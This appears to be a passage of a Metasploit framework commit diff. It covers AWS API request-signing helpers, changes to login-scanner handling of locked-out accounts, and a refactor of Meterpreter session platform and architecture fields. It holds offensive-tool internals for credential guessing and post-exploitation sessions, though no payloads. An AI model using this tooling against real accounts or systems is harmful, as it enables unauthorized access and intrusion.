def register_autofilter_services(services=[]); end
def hexdigest(value)
if value.nil? || !value.instance_of?(String)
print_error "Unexpected value format"
return nil
end
digest = OpenSSL::Digest::SHA256.new
if value.respond_to?(:read)
chunk = nil
chunk_size = 1024 * 1024 # 1 megabyte
digest.update(chunk) while chunk = value.read(chunk_size)
value.rewind
else
digest.update(value)
end
digest.hexdigest
end
def hmac(key, value)
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
print_error "Unexpected key/value format"
return nil
end
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, value)
end
def hexhmac(key, value)
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String)
print_error "Unexpected key/value format"
return nil
end
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, value)
end
def request_to_sign(headers, body_digest)
if headers.nil? || !headers.instance_of?(Hash) || body_digest.nil? || !body_digest.instance_of?(String)
return nil, nil
end
headers_block = headers.sort_by(&:first).map do |k, v|
v = "#{v},#{v}" if k == 'Host'
"#{k.downcase}:#{v}"
end.join("\n")
headers_list = headers.keys.sort.map(&:downcase).join(';')
flat_request = [ "POST", "/", '', headers_block + "\n", headers_list, body_digest].join("\n")
[headers_list, flat_request]
end
def sign(creds, service, headers, body_digest, now)
date_mac = hmac("AWS4" + creds.fetch('SecretAccessKey'), now[0, 8])
region_mac = hmac(date_mac, datastore['Region'])
service_mac = hmac(region_mac, service)
credentials_mac = hmac(service_mac, 'aws4_request')
headers_list, flat_request = request_to_sign(headers, body_digest)
doc = "AWS4-HMAC-SHA256\n#{now}\n#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request\n#{hexdigest(flat_request)}"
signature = hexhmac(credentials_mac, doc)
[headers_list, signature]
end
def auth(creds, service, headers, body_digest, now)
headers_list, signature = sign(creds, service, headers, body_digest, now)
"AWS4-HMAC-SHA256 Credential=#{creds.fetch('AccessKeyId')}/#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request, SignedHeaders=#{headers_list}, Signature=#{signature}"
end
def body(vars_post)
pstr = ""
vars_post.each_pair do |var, val|
pstr << '&' unless pstr.empty?
pstr << var
pstr << '='
pstr << val
end
pstr
end
def headers(creds, service, body_digest, now = nil)
now = Time.now.utc.strftime("%Y%m%dT%H%M%SZ") if now.nil?
headers = {
'Content-Type' => 'application/x-www-form-urlencoded; charset=utf-8',
'Accept-Encoding' => '',
'User-Agent' => USER_AGENT,
'X-Amz-Date' => now,
'Host' => datastore['RHOST'],
'X-Amz-Content-Sha256' => body_digest,
'Accept' => '*/*'
}
headers['X-Amz-Security-Token'] = creds['Token'] if creds['Token']
sign_headers = ['Content-Type', 'Host', 'User-Agent', 'X-Amz-Content-Sha256', 'X-Amz-Date']
auth_headers = headers.select { |k, _| sign_headers.include?(k) }
headers['Authorization'] = auth(creds, service, auth_headers, body_digest, now)
headers
end
def print_hsh(hsh)
return if hsh.nil? || !hsh.instance_of?(Hash)
hsh.each do |key, value|
vprint_status "#{key}: #{value}"
end
end
def print_results(doc, action)
response = "#{action}Response"
result = "#{action}Result"
resource = /[A-Z][a-z]+([A-Za-z]+)/.match(action)[1]
if doc["ErrorResponse"] && doc["ErrorResponse"]["Error"]
print_error doc["ErrorResponse"]["Error"]["Message"]
return nil
end
idoc = doc.fetch(response)
if idoc.nil? || !idoc.instance_of?(Hash)
print_error "Unexpected response structure"
return {}
end
idoc = idoc[result] if idoc[result]
idoc = idoc[resource] if idoc[resource]
if idoc["member"]
idoc["member"].each do |x|
print_hsh x
end
else
print_hsh idoc
end
idoc
end
def call_api(creds, service, api_params)
vprint_status("Connecting (#{datastore['RHOST']})...")
body = body(api_params)
body_length = body.length
body_digest = hexdigest(body)
begin
res = send_request_raw(
'method' => 'POST',
'data' => body,
'headers' => headers(creds, service, body_digest)
)
if res.nil?
print_error "#{peer} did not respond"
else
Hash.from_xml(res.body)
end
rescue => e
print_error e.message
end
end
def call_iam(creds, api_params)
api_params['Version'] = '2010-05-08' unless api_params['Version']
call_api(creds, 'iam', api_params)
end
def call_ec2(creds, api_params)
api_params['Version'] = '2015-10-01' unless api_params['Version']
call_api(creds, 'ec2', api_params)
end
def call_sts(creds, api_params)
api_params['Version'] = '2011-06-15' unless api_params['Version']
call_api(creds, 'sts', api_params)
end
end
end
end
end
@@ -199,6 +199,7 @@ module Metasploit
total_error_count = 0
successful_users = Set.new
ignored_users = Set.new
first_attempt = true
each_credential do |credential|
@@ -213,6 +214,14 @@ module Metasploit
next
end
# Users that went into the lock-out list
if ignored_users.include?(credential.public)
if credential.parent.respond_to?(:skipped)
credential.parent.skipped = true
end
next
end
if first_attempt
first_attempt = false
else
@@ -228,6 +237,10 @@ module Metasploit
consecutive_error_count = 0
successful_users << credential.public
break if stop_on_success
elsif result.status == Metasploit::Model::Login::Status::LOCKED_OUT
ignored_users << credential.public
elsif result.status == Metasploit::Model::Login::Status::DISABLED
ignored_users << credential.public
else
if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
consecutive_error_count += 1
@@ -203,6 +203,8 @@ module Metasploit
status = case e.get_error(e.error_code)
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
Metasploit::Model::Login::Status::DENIED_ACCESS
when 'STATUS_ACCOUNT_LOCKED_OUT'
Metasploit::Model::Login::Status::LOCKED_OUT
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
Metasploit::Model::Login::Status::INCORRECT
else
@@ -133,6 +133,8 @@ module Metasploit
@parent.print_error(message)
end
alias_method :print_bad, :print_error
end
end
end
@@ -51,8 +51,9 @@ class TDSSSLProxy
def setup_ssl
@running = true
@t1 = Thread.start { ssl_setup_thread }
ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1)
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context)
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx)
@ssl_socket.connect
end
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.12.30"
VERSION = "4.13.11"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+14 -3
View File
@@ -546,7 +546,11 @@ class ReadableText
row = []
row << session.sid.to_s
row << session.type.to_s
row[-1] << (" " + session.platform) if session.respond_to?(:platform)
if session.respond_to?(:session_type)
row[-1] << (" " + session.session_type)
elsif session.respond_to?(:platform)
row[-1] << (" " + session.platform)
end
if show_extended
if session.respond_to?(:last_checkin) && session.last_checkin
@@ -670,6 +674,7 @@ class ReadableText
row[1] = framework.jobs[job_id].name
pinst = exploit_mod.respond_to?(:payload_instance) ? exploit_mod.payload_instance : nil
payload_uri = ''
if pinst.nil?
row[2] = ""
@@ -678,7 +683,8 @@ class ReadableText
row[2] = pinst.refname
row[3] = ""
if pinst.respond_to?(:payload_uri)
row[3] << pinst.payload_uri
payload_uri = pinst.payload_uri.strip
row[3] << payload_uri
end
if pinst.respond_to?(:luri)
row[3] << pinst.luri
@@ -690,7 +696,12 @@ class ReadableText
uripath ||= exploit_mod.datastore['URIPATH']
row[4] = uripath
row[5] = framework.jobs[job_id].start_time
row[6] = pinst.respond_to?(:listener_uri) ? pinst.listener_uri : ""
row[6] = ''
if pinst.respond_to?(:listener_uri)
listener_uri = pinst.listener_uri.strip
row[6] = listener_uri unless listener_uri == payload_uri
end
end
tbl << row
end
@@ -34,7 +34,15 @@ module CommandShellOptions
if self.platform and self.platform.kind_of? Msf::Module::Platform
session.platform = self.platform.realname.downcase
end
session.arch = self.arch if self.arch
if self.arch
if self.arch.kind_of?(Array)
session.arch = self.arch.join('')
else
session.arch = self.arch
end
end
end
end
+2 -2
View File
@@ -32,8 +32,8 @@ class MainframeShell < Msf::Sessions::CommandShell
# initialize as mf shell session
#
def initialize(*args)
self.platform = "mainframe"
self.arch = "zarch"
self.platform = 'mainframe'
self.arch = ARCH_ZARCH
self.translate_1047 = true
super
end
+95 -43
View File
@@ -284,7 +284,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
#
# Load the stdapi extension.
#
def load_stdapi()
def load_stdapi
original = console.disable_output
console.disable_output = true
console.run_single('load stdapi')
@@ -294,9 +294,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client
#
# Load the priv extension.
#
def load_priv()
def load_priv
original = console.disable_output
console.disable_output = true
console.run_single('load priv')
console.disable_output = original
@@ -310,7 +309,6 @@ class Meterpreter < Rex::Post::Meterpreter::Client
begin
self.machine_id = self.core.machine_id(timeout)
self.payload_uuid ||= self.core.uuid(timeout)
return true
rescue ::Rex::Post::Meterpreter::RequestError
@@ -325,41 +323,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client
def update_session_info
username = self.sys.config.getuid
sysinfo = self.sys.config.sysinfo
tuple = self.platform.split('/')
#
# Windows meterpreter currently needs 'win32' or 'win64' to be in the
# second half of the platform tuple, in order for various modules and
# library code match on that specific string.
#
if self.platform !~ /win32|win64/
platform = case self.sys.config.sysinfo['OS']
when /windows/i
Msf::Module::Platform::Windows
when /darwin/i
Msf::Module::Platform::OSX
when /freebsd/i
Msf::Module::Platform::FreeBSD
when /netbsd/i
Msf::Module::Platform::NetBSD
when /openbsd/i
Msf::Module::Platform::OpenBSD
when /sunos/i
Msf::Module::Platform::Solaris
when /android/i
Msf::Module::Platform::Android
else
Msf::Module::Platform::Linux
end.realname.downcase
#
# This normalizes the platform from 'python/python' to 'python/linux'
#
self.platform = "#{tuple[0]}/#{platform}"
# when updating session information, we need to make sure we update the platform
# in the UUID to match what the target is actually running on, but only for a
# subset of platforms.
if ['java', 'python', 'php'].include?(self.platform)
new_platform = guess_target_platform(sysinfo['OS'])
if self.platform != new_platform
self.payload_uuid.platform = new_platform
self.core.set_uuid(self.payload_uuid)
end
end
safe_info = "#{username} @ #{sysinfo['Computer']}"
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)
# Should probably be using Rex::Text.ascii_safe_hex but leave
@@ -369,6 +344,24 @@ class Meterpreter < Rex::Post::Meterpreter::Client
self.info = safe_info
end
def guess_target_platform(os)
case os
when /windows/i
Msf::Module::Platform::Windows.realname.downcase
when /darwin/i
Msf::Module::Platform::OSX.realname.downcase
when /mac os ?x/i
# this happens with java on OSX (for real!)
Msf::Module::Platform::OSX.realname.downcase
when /freebsd/i
Msf::Module::Platform::FreeBSD.realname.downcase
when /openbsd/i, /netbsd/i
Msf::Module::Platform::BSD.realname.downcase
else
Msf::Module::Platform::Linux.realname.downcase
end
end
#
# Populate the session information.
#
@@ -493,11 +486,6 @@ class Meterpreter < Rex::Post::Meterpreter::Client
sock = net.socket.create(param)
# sf: unsure if we should raise an exception or just return nil. returning nil for now.
#if( sock == nil )
# raise Rex::UnsupportedProtocol.new(param.proto), caller
#end
# Notify now that we've created the socket
notify_socket_created(self, sock, param)
@@ -505,8 +493,72 @@ class Meterpreter < Rex::Post::Meterpreter::Client
sock
end
attr_accessor :platform
attr_accessor :binary_suffix
#
# Get a string representation of the current session platform
#
def platform
if self.payload_uuid
# return the actual platform of the current session if it's there
self.payload_uuid.platform
else
# otherwise just use the base for the session type tied to this handler.
# If we don't do this, storage of sessions in the DB dies
self.base_platform
end
end
#
# Get a string representation of the current session architecture
#
def arch
if self.payload_uuid
# return the actual arch of the current session if it's there
self.payload_uuid.arch
else
# otherwise just use the base for the session type tied to this handler.
# If we don't do this, storage of sessions in the DB dies
self.base_arch
end
end
#
# Generate a binary suffix based on arch
#
def binary_suffix
# generate a file/binary suffix based on the current arch and platform.
# Platform-agnostic archs go first
case self.arch
when 'java'
'jar'
when 'php'
'php'
when 'python'
'py'
else
# otherwise we fall back to the platform
case self.platform
when 'windows'
"#{self.arch}.dll"
when 'linux' , 'aix' , 'hpux' , 'irix' , 'unix'
'lso'
when 'android', 'java'
'jar'
when 'php'
'php'
when 'python'
'py'
else
nil
end
end
end
# These are the base arch/platform for the original payload, required for when the
# session is first created thanks to the fact that the DB session recording
# happens before the session is even established.
attr_accessor :base_arch
attr_accessor :base_platform
attr_accessor :console # :nodoc:
attr_accessor :skip_ssl
attr_accessor :skip_cleanup
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_aarch64_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_AARCH64
end
end
end
end
+2 -1
View File
@@ -16,7 +16,8 @@ class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
def initialize(rstream, opts={})
super
self.platform = 'java/android'
self.base_platform = 'android'
self.base_arch = ARCH_JAVA
end
def load_android
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_armbe_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_ARMBE
end
end
end
end
@@ -19,8 +19,8 @@ class Meterpreter_armle_Linux < Msf::Sessions::Meterpreter
end
def initialize(rstream, opts={})
super
self.platform = 'armle/linux'
self.binary_suffix = 'lso'
self.base_platform = 'linux'
self.base_arch = ARCH_ARMLE
end
end
+2 -2
View File
@@ -19,8 +19,8 @@ class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
end
def initialize(rstream, opts={})
super
self.platform = 'java/java'
self.binary_suffix = 'jar'
self.base_platform = 'java'
self.base_arch = ARCH_JAVA
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_mips64_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_MIPS64
end
end
end
end
@@ -19,8 +19,8 @@ class Meterpreter_mipsbe_Linux < Msf::Sessions::Meterpreter
end
def initialize(rstream, opts={})
super
self.platform = 'mipsbe/linux'
self.binary_suffix = 'lso'
self.base_platform = 'linux'
self.base_arch = ARCH_MIPSBE
end
end
@@ -19,8 +19,8 @@ class Meterpreter_mipsle_Linux < Msf::Sessions::Meterpreter
end
def initialize(rstream, opts={})
super
self.platform = 'mipsle/linux'
self.binary_suffix = 'lso'
self.base_platform = 'linux'
self.base_arch = ARCH_MIPSLE
end
end
@@ -0,0 +1,50 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-independent meterpreter session type
#
###
class Meterpreter_Multi < Msf::Sessions::Meterpreter
def initialize(rstream, opts={})
super
self.base_platform = 'multi'
self.base_arch = ARCH_ANY
end
def self.create_session(rstream, opts={})
# TODO: fill in more cases here
case opts[:payload_uuid].platform
when 'python'
require 'msf/base/sessions/meterpreter_python'
return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts)
when 'java'
require 'msf/base/sessions/meterpreter_java'
return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts)
when 'android'
require 'msf/base/sessions/meterpreter_android'
return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
when 'php'
require 'msf/base/sessions/meterpreter_php'
return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)
when 'windows'
if opts[:payload_uuid].arch == ARCH_X86
require 'msf/base/sessions/meterpreter_x86_win'
return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts)
end
require 'msf/base/sessions/meterpreter_x64_win'
return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts)
end
# TODO: what should we do when we get here?
end
end
end
end
+4 -5
View File
@@ -60,15 +60,14 @@ module MeterpreterOptions
session.load_session_info
end
if session.platform =~ /win32|win64/i
# only load priv on native windows
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
session.load_priv rescue nil
end
end
if session.platform =~ /android/i
if datastore['AutoLoadAndroid']
session.load_android
end
if session.platform == 'android'
session.load_android
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
+2 -2
View File
@@ -19,8 +19,8 @@ class Meterpreter_Php_Php < Msf::Sessions::Meterpreter
end
def initialize(rstream, opts={})
super
self.platform = 'php/php'
self.binary_suffix = 'php'
self.base_platform = 'php'
self.base_arch = ARCH_PHP
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_ppc64le_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_PPC64LE
end
end
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_ppc_Linux < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'linux'
self.base_arch = ARCH_PPC
end
end
end
end
+3 -2
View File
@@ -86,8 +86,8 @@ class Meterpreter_Python_Python < Msf::Sessions::Meterpreter
def initialize(rstream, opts={})
super
self.platform = 'python/python'
self.binary_suffix = 'py'
self.base_platform = 'python'
self.base_arch = ARCH_PYTHON
end
def lookup_error(error_code)
@@ -116,5 +116,6 @@ class Meterpreter_Python_Python < Msf::Sessions::Meterpreter
false
end
end
end
end
@@ -19,8 +19,8 @@ class Meterpreter_x64_Mettle_Linux < Msf::Sessions::Meterpreter
end
def initialize(rstream, opts={})
super
self.platform = 'x64/linux'
self.binary_suffix = 'lso'
self.base_platform = 'linux'
self.base_arch = ARCH_X64
end
end
+2 -2
View File
@@ -14,8 +14,8 @@ module Sessions
class Meterpreter_x64_Win < Msf::Sessions::Meterpreter
def initialize(rstream, opts={})
super
self.platform = 'x64/win64'
self.binary_suffix = 'x64.dll'
self.base_platform = 'windows'
self.base_arch = ARCH_X64
end
def lookup_error(code)
+2 -2
View File
@@ -13,8 +13,8 @@ module Sessions
class Meterpreter_x86_BSD < Msf::Sessions::Meterpreter
def initialize(rstream, opts={})
super
self.platform = 'x86/bsd'
self.binary_suffix = 'bso'
self.base_platform = 'bsd'
self.base_arch = ARCH_X86
end
end
@@ -13,8 +13,8 @@ module Sessions
class Meterpreter_x86_Linux < Msf::Sessions::Meterpreter
def initialize(rstream, opts={})
super
self.platform = 'x86/linux'
self.binary_suffix = 'lso'
self.base_platform = 'linux'
self.base_arch = ARCH_X86
end
end
@@ -19,8 +19,8 @@ class Meterpreter_x86_Mettle_Linux < Msf::Sessions::Meterpreter
end
def initialize(rstream, opts={})
super
self.platform = 'x86/linux'
self.binary_suffix = 'lso'
self.base_platform = 'linux'
self.base_arch = ARCH_X86
end
end
+2 -2
View File
@@ -14,8 +14,8 @@ module Sessions
class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
def initialize(rstream,opts={})
super
self.platform = 'x86/win32'
self.binary_suffix = 'x86.dll'
self.base_platform = 'windows'
self.base_arch = ARCH_X86
end
def lookup_error(code)

Some files were not shown because too many files have changed in this diff Show More